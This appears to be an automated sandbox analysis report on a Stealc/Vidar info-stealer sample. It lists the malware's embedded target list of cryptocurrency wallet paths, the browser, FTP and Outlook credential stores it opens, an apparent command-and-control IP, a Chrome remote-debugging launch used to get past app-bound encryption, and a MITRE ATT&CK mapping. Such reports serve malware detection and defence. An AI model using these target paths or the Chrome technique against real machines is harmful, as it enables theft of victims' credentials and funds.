Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113s\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Electrum-LTC\wallets\\..*

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5720, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2165070081.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2712124553.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2711220384.0000000000538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5720, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5720, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB70C40 sqlite3_bind_zeroblob,	0_2_6CB70C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB70D60 sqlite3_bind_parameter_name,	0_2_6CB70D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA98EA0 sqlite3_clear_bindings,	0_2_6CA98EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB70B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CB70B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96410 bind,WSAGetLastError,	0_2_6CA96410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA960B0 listen,WSAGetLastError,	0_2_6CA960B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9C030 sqlite3_bind_parameter_count,	0_2_6CA9C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96070 PR_Listen,	0_2_6CA96070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CA9C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA222D0 sqlite3_bind_blob,	0_2_6CA222D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA963C0 PR_Bind,	0_2_6CA963C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA99480 sqlite3_bind_null,	0_2_6CA99480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA994F0 sqlite3_bind_text16,	0_2_6CA994F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA994C0 sqlite3_bind_text,	0_2_6CA994C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA99400 sqlite3_bind_int64,	0_2_6CA99400

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
